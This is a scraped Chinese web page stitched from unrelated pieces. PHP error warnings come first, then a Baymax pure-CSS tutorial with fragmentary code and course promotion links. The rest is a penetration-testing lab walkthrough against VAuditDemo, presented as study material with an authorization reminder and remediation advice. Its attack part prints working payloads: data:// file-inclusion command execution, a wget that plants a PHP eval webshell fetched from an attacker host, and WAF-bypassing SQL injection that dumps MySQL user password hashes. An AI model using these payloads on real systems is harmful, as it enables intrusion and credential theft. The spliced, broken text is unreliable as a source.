Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
課程利用 HTML 和 CSS 來打造 《超能陸戰隊》里的“暖男”—大白,可學習如何用 HTML 結合 CSS 來設計高端大氣上檔次的圖,并了解 HTML 布局,CSS 構建對象樣式。
本教程由BigGod發布在實驗樓,完整教程、代碼及在線練習地址:純 CSS 打造網頁版「大白」——https://www.shiyanlou.com/courses/328
1.1 實驗內容
還記得《超能陸戰隊》里的 “暖男” -「大白」 么?是不是很想擁有一個?
沒問題!今天我們就利用 HTML 和 CSS 來打造自己的「大白」! 最終效果:
1.2 實驗知識點
div 布局
CSS 相對定位
CSS 各種屬性的應用
1.3 實驗環境
本實驗環境采用帶桌面的 Ubuntu Linux 環境,實驗中可能會用到桌面上的程序:
Firefox:瀏覽器,可以用在需要前端界面的課程里,只需要打開環境里寫的 HTML/JS 頁面即可;
GVim:非常好用的編輯器,最簡單的用法可以參考課程 Vim編輯器
1.4 適合人群
本課程難度一般,只要你學過基本的 HTML 和 CSS 就能做出來。
進入到 /home/shiyanlou/ 目錄下,新建空白文檔:
命名為 Baymax.html (其它名字也可以,但后綴名必須是 .html):
使用 gedit 打開,準備編輯代碼:
下面通過 div定義大白身體的各個部位:
<!doctype html> <html> <head> <meta charset="utf-8"> <title>Baymax</title> </head> <body>
3.2 添加 CSS 樣式
我們已經使用 HTML 定義好「大白」的各個元素,現在就需要利用到 CSS 來繪制它的樣式外表。
由于「大白」是白色的,為了更容易辨識,我們把背景設為深色。然后首先是頭部:
<style> body { background: #595959;
效果預覽:
趕緊再來添加眼睛和嘴吧!
#eye, #eye2 { width: 11px; height: 13px; background: #282828; border-radius: 50%; position: relative; top: 30px; left: 27px; /*旋轉該元素*/
一個 mini 的「大白」,雛形初現:
接下來是軀干和腹部:
#torso, #belly { margin: 0 auto; height: 200px; width: 180px; background: #fff; border-radius: 47%; /*設置邊框*/
賦予「大白」象征生命的心臟:
#heart{ width:25px;
現在的「大白」是這個樣子的了:
還沒有手和腳,怪萌怪萌的...「大白」需要溫暖的手臂:
#left-arm, #right-arm { height: 270px; width: 120px; border-radius: 50%; background: #fff; margin: 0 auto; position: relative; top: -350px; left: -100px; transform: rotate(20deg); z-index: -1;
還沒有手指頭呢:
#l-bigfinger, #r-bigfinger { height: 50px; width: 20px; border-radius: 50%; background: #fff; position: relative; top: 250px; left: 50px; transform: rotate(-50deg);
有點意思了:
迫不及待要給「大白」加上腿了吧:
#left-leg, #right-leg { height: 170px; width: 90px; border-radius: 40% 30% 10px 45%; background: #fff; position: relative; top: -640px; left: -45px; transform: rotate(-1deg); z-index: -2; margin: 0 auto;
duang~ duang~ duang~ 特技完成!
3.3 完整代碼
本課程使用 div+css 畫出了萌萌的大白,相信通過完成本實驗能加深你對 div 布局的理解以及提高對 css 各種屬性的運用能力。
代碼中還有不少重復的地方,試著進一步簡化代碼
運用 CSS 動畫讓大白的眼睛動起來
本教程的完整步驟、代碼及在線練習地址——https://www.shiyanlou.com/courses/328(更多課程請查看全部 - 課程 - 實驗樓)
純純純手工!純CSS打造24K純網頁版大白!來不及解釋了,直接上視頻預覽:
<script src="https://lf6-cdn-tos.bytescm.com/obj/cdn-static-resource/tt_player/tt.player.js?v=20160723"></script>
嘿、嘿
準備好了沒有?
你看這大白,他又胖又圓
就像這段代碼,他漂亮又簡單
你們來這里 編程,
覺得 代碼 很 好玩,
我看行,
你們來這學 編程 ,
我給你們學習一樣開心,
文檔地址:http://t.cn/EK5z2VK
教程地址:點擊文末 閱讀原文 學習教程。
教程費用:免費。
教程預覽:
教程評價:
相關推薦
50個Python練手項目,拿去過冬吧!
10個不到500行代碼的超牛Python練手項目
10個精彩Python視頻教程整理,10種新技能輕松Get!
30本Python學習參考書,從入門到大師全了!
大牛推薦的10本學習Java必看書
如何開始使用Java機器學習
再別說找不到C++練手項目,這20個拿去不謝!
寫在開始:進行web滲透測試之前,務必獲得測試目標擁有者或組織的書面授權,明確滲透測試的范圍。在授權范圍內進行滲透測試,測試結束之后,務必清除滲透測試留下的痕跡,包括訪問日志、事件記錄、上傳的shell腳本、創建的影子賬戶等等。
滲透測試,并沒有一個標準的定義,但通常被解釋為一種評估計算機網絡系統安全的方法。這個過程模擬惡意黑客的攻擊方式,以尋找并利用系統中的安全漏洞。滲透測試旨在挖掘目標系統的安全漏洞,取得系統的控制權,訪問系統的機密數據,并發現可能影響業務持續運作的安全隱患。
滲透測試與黑客入侵的最大區別在于其進行方式。滲透測試是經過客戶授權,采用可控制、非破壞性質的方法和手段對目標和網絡設備進行檢測。這不僅能幫助管理者了解他們網絡所面臨的問題,還能提供針對這些問題的安全加固建議,從而幫助客戶提升系統的安全性。
滲透測試按照軟件測試的理念分為三種類型:白盒測試、黑盒測試、灰盒測試。其中白盒測試是基于代碼審查,再結合漏洞掃描等技術進行,黑盒測試在業內也稱為盲測,除了有測試范圍之外,其他全部模擬黑客攻擊的過程進行操作,灰盒測試是結合白盒測試的代碼審計、黑盒測試的攻擊策略和技術的一種折中類型。白盒測試的因為擁有目標所有內部與底層的知識,因此可以用最小的代價發現更多嚴重的隱藏的漏洞。黑盒測試因為是盲測,因此需要依賴較高的技術能力,攻擊方式也變得多樣性,從而可以更完整的評估目標的安全風險,也可以檢測到目標團隊的應急能力。灰盒測試集兩者之長,既能快速全面檢測出漏洞,同時還具備了更完整的安全風險評估能力。
安全漏洞生命周期劃分
安全漏洞被發現到其消亡的過程被劃分為7個步驟,其中包含的概念如下:
Exploit,簡稱EXP,利用安全漏洞造成入侵或破壞的滲透代碼,又叫漏洞利用代碼
POC:Proof of Concept:概念驗證,只是驗證漏洞的存在,并不會利用該漏洞進行入侵。
Exploit:EXP:發現漏洞后,使用惡意代碼或惡意指令進行漏洞的利用和入侵。
0 Day:第一個發現的漏洞,同時官方還沒有發布補丁,也未公開該漏洞,漏洞處于可利用階段。
RCE:Remote Code/Command Execution 遠程代碼/命令執行。
SRC:安全應急響應中心 Security Emergency Response Center。
滲透測試步驟分為前期交互、情報收集、匯總分析、滲透攻擊、后滲透攻擊、報告提交等六個階段
1、前期交互:這個階段主要是和委托方進行商討洽談、獲取書面授權、測試范圍的確定等工作
2、情報搜集:在獲得授權的基礎上,對測試目標進行相應的情報收集,包括網絡基本配置、域名、人員權限劃分、暴露的端口、系統入口、web后臺入口等
3、匯總分析:該階段基于上一步驟、對所有收集的信息進行匯總整理、從中找出合適的滲透方向、策略,選定合適的工具以及人員分工
4、滲透攻擊:開始進行漏洞挖掘、掃描、找出可用的載荷(payload),進行漏洞利用
5、后滲透攻擊:getshell、上傳木馬、修補漏洞、清除痕跡和腳本
6、報告編寫:將所有找到的安全漏洞匯總為一份滲透測試報告,提交給委托方,完成滲透任務。
本文將依據以上的步驟以一個web靶場為例,闡述web滲透測試基本流程和注意事項。
服務器配置:
操作系統CentOS7、2核CPU、2G內存、30G磁盤、網絡可以訪問,IP:192.168.211.132,部署xampp,vaudit
客戶端配置
主機操作系統windows11,IP:192.168.1.5
滲透機CentOS7,IP:192.168.211.129,部署xampp,存儲攻擊用的shell
從gitee上面下載的一個開源軟件vaudit,下載地址:https://github.com/1stPeak/VAuditDemo 作者是Virink。
1、先在CentOS上面安裝一個xampp5.6版本,
2、使用添加VHosts和端口的方式部署vaudit
在lampp/etc/extra目錄下面,通過添加新的vhosts虛擬主機的方式來進行處理,只需要修改兩個配置文件即可。
(1)修改/opt/lampp/etc/httpd.conf,添加監聽端口,并且包含httpd-vhosts.conf文件。
|
(2)修改/opt/lampp/etc/extra/httpd-vhosts.conf
|
3、修改基本配置
使用網站管理中的php配置,將allow_url_include設置為On,也就是需要使用到遠程文件包含功能。
如果xampp啟動失敗,需要在lampp的啟動程序lampp中找到2.2.0,修改為2.8.0,如下位置
|
4、接下來修改并且配置數據庫連接,使用vi打開/opt/lampp/htdocs/vaudit/sys目錄下面的config.php文件
|
完成上述步驟之后,在瀏覽器中輸入http://192.168.211.132:81/ 看到VAuditDemo安裝界面
可以看出有兩個目錄沒有寫權限,需要sys和uploads進行賦權,在/www/admin/localhost_80/wwwroot下面執行下面的命令,這里只需要給other賦予寫入權限即可。
chmod o+w sys uploads
然后刷新瀏覽器,現在看到可以安裝了
點擊安裝,看到如下提示,表示完成
點擊確定之后,進入到vaudit的主頁面
現在我們需要熟悉這個軟件系統的基本功能,跟蹤和監控web頁面上的各個接口及交互的數據,這里需要使用到一些工具:sqlmap、burp suite、御劍后臺掃描工具、帶hackbar的firefox瀏覽器等。
先注冊一個用戶tester,然后使用tester進入,開啟對系統的使用之旅,通過使用我們可以發現,注冊普通用戶不需要驗證碼,普通用戶修改用戶信息不需要二次驗證,可以上傳圖頭像圖片,搜索接口,留言,查看留言,關于頁面等普通用戶可以點擊或使用的功能。
接下來使用御劍后臺掃描工具,對系統進行掃描
通過掃描我們可以發現,該目標站點存在一個后臺登錄的頁面,可以試試看
這里可以看出后臺登錄是有驗證碼的,看來暫時是動不了這里。不過從這里我們可以看出已經有好多個接口或功能可以提供給我們驗證了,那么我們可以進入下一個環節,看看是否能夠找到一些滲透的切入點。
針對一個web系統,能夠使用的滲透點主要包括登錄密碼的暴力破解、SQL注入、XSS注入、CSRF、文件包含等,對于普通用戶進行暴力破解沒有必要,因為我們可以自己注冊一個普通用戶,這里主要是考慮如何能夠切入到數據庫或者存儲型的XSS、如果有文件包含也不錯,可以進行利用。
1、經過反復測試,可以發現一個有意思的地方:http://192.168.211.128/index.php?module=about 這個地址的module翻譯過來為模塊,而about正好指向關于頁面。嘗試將about改成其他任意的單詞,看看頁面返回情況,在這個過程中可以發現頁面不會報錯,但是也沒有相應的提示,那么這里應該是一個文件包含的用法,沒有拋出錯誤,估計是代碼中給文件加了后綴,并且做了異常控制。可以初步確認,這里存在一個文件包含的漏洞,需要進一步驗證。
2、接下來關注一下留言功能,這里是允許用戶輸入內容的,在滲透中有一個核心的思想,那就是所有的輸入是否用戶可控,一般來說,用戶可控的輸入都有一定的幾率存在安全風險,如果后端代碼未做過濾或者過濾不夠徹底,那么這些地方就是機會,因此先從此處入手試試看。在這個位置,我們可以嘗試的有sql注入和存儲型XSS,先試試sql注入,由于留言屬于插入功能,因此這里優先考慮報錯注入,看看是否有機會
結果發現,注入的sql代碼被原樣顯示,顯然這里沒有sql注入,那么再檢測一下是否可以進行XSS,在輸入框中輸入以下代碼test<script>console.log(/test/)</script> 提交留言
可以看出,還是被原文顯示,說明這里漏洞也被堵了,那么點擊查看留言詳情試試,這里我們可以獲得留言詳情的接口地址:http://192.168.211.128/messageDetail.php?id=9 這里參數id看起來應該是一個查詢條件,那么可以嘗試看看這里是否存在注入的可能。在hackbar中輸入http://192.168.211.128/messageDetail.php?id=9 or 1=1# 可以看到下圖顯示
從圖上可以看出這里有回顯,且從提示看一看出,sql代碼被waf(web application firewall),這里可以知道目標使用了一種web防火墻基礎,而or被替換為了sqlwaf,可以看出其防火墻代碼采取的是替換策略,那么根據經驗可以試試其他的關鍵字和關鍵符號,看看替換中是否存在漏洞可以利用,在sql注入中,&&、||、_下劃線,單引號,雙引號這些符號是非常有用的,如果這些符號被替換,那么我們可能就得另謀出路。因此將這幾個符號放在主要嘗試的位置。經過嘗試可以發現下劃線、單引號和雙引號也被轉義了,而&&和||被替換為了空,這里就留下了一個注入漏洞,可以利用||來繞過關鍵字的waf。
從這里我們可以看出目前至少有兩個漏洞可以試試,下面我們就開始嘗試,看看這兩個漏洞是否可以進行利用。
1、文件包含漏洞的利用
針對文件包含類的漏洞利用,需要知道的是有兩種包含方式,第一種就是本地文件包含,這種漏洞的利用可以獲取到服務器上面的基本信息,如果有文件上傳漏洞存在,則可以將二者進行結合,從而getshell。而文件包含的利用需要用到php的偽協議相關的知識,這里我們可以試試data偽協議。
先使用下面的payload試試
http://192.168.211.132:81/index.php?module=data://text/plain,<?php phpinfo();?>
這個結果表示,我們其實已經可以執行OS的命令,也就是getshell。比如可以執行如下的payload
http://192.168.211.132:81/index.php?module=data://text/plain,<?php echo `ifconfig`;?>
可以看到已經從服務器獲取到了信息,那么可以順著這個思路往下,將服務器上面的所有能看的文件都進行瀏覽,從而獲取我們需要的信息。另外也可以實施掛馬的操作。從攻擊服務器上面去下載一個一句話木馬,如果在外網上面,那么服務器需要提供外網的訪問功能。服務器腳本的位置就直接方法/opt/lampp/htdocs下面,腳本名字可以根據需要來改,其內容只有一句話<?php eval($_POST[0]);?> 在瀏覽器中執行下面的payload
http://192.168.211.132:81/index.php?module=data://text/plain,<?php `wget http://192.168.211.129/shell.inc -O /tmp/shell.php`;?>
在被攻擊的服務器上面的/tmp目錄下面可以看到下面的結果
木馬上傳成功,后續可以使用蟻劍等工具進行連接服務,實施其他的操作。
2、sql注入漏洞利用
根據前面概念驗證的結果,可以看出在返回留言詳情的地方可以進行SQL注入,先嘗試最直接的方法就是聯合注入,payload如下
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),4 #
可以看到結果
從這里看出,其內部數據庫配置的是本地用戶root@localhost,這里可以試試能否直接從information_schema中獲取表信息,使用payload如下,這里因為要繞開單引號轉義,需要把數據庫部分的'vauditdemo'轉成hex,即0x2776617564697464656d6f27
sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema=0x2776617564697464656d6f27
但是看到的結果如下:
這里可以看到內部對下劃線做了轉義,因此無法從information_schema中遍歷數據庫信息,那就干脆試試能否從MySQL庫中獲取用戶信息,payload如下:
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user) #
可以看到結果如下:
Subquery returns more than 1 row The result for [7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password) from mysql.user) ] is:
這里表示返回的數據不止一行,那可以使用limit進行逐行遍歷,payload如下
http://192.168.211.132:81/messageDetail.php?id=7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd) fr||om mysql.user lim||it 0,1) #
可以看到結果
繼續遍歷,就可以發現數據庫里面的具體用戶信息,其中包含遠程連接權限的用戶
這個時候需要對用戶humh的密碼進行創庫破解,然后使用這個用戶進行遠程登錄到數據庫服務器,對數據庫進行操作,這個時候就完美的避開了系統的waf。
1、文件包含問題
風險描述 | 文件包含漏洞 |
利用詳情 | 可以進行遠程文件包含,可以下載木馬到服務器 |
修復建議 | 停用遠程文件包含功能,或者對用戶輸入的內容進行校驗,避免用戶輸入內容中存在網絡地址的情況及非法的文件類型。 |
2、SQL注入風險
風險描述 | SQL注入 |
威脅等級 | 高 |
利用詳情 | 可以通過SQL注入獲取到數據庫中的遠程權限用戶,從而導致數據庫數據泄密 |
修復建議 | 對用戶輸入的內容進行校驗,將這些內容轉換為真實html代碼,或在數據庫處理中使用預處理功能 |
2、報告模板
本文主要基于靶場環境,闡述web滲透中的一些技巧和方法,文中僅僅選取了兩個漏洞作為演示,該系統中實際包含的漏洞超過10個,有需要者可以按照本文中的步驟去慢慢挖掘。
網絡安全是軟件系統質量模型中的重要指標之一,網絡漏洞和普通缺陷的區別在于普通的缺陷一般造成的是功能的失效,從而導致用戶使用存在困難或者用戶無法使用,而網絡安全漏洞則可能是在用戶無感知的情況下,被有心人進行利用,從而導致用戶數據,公司機密等重要信息的泄露,或者服務器或個人設備整個被轉成肉雞,為攻擊者的攻擊提供便利和掩護。網絡安全漏洞不需要多,一個就行,因此系統在研發開始就需要將網絡安全引入,現在流行的稱謂是安全左移,網絡安全要做到100%,甚至200%才可以。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。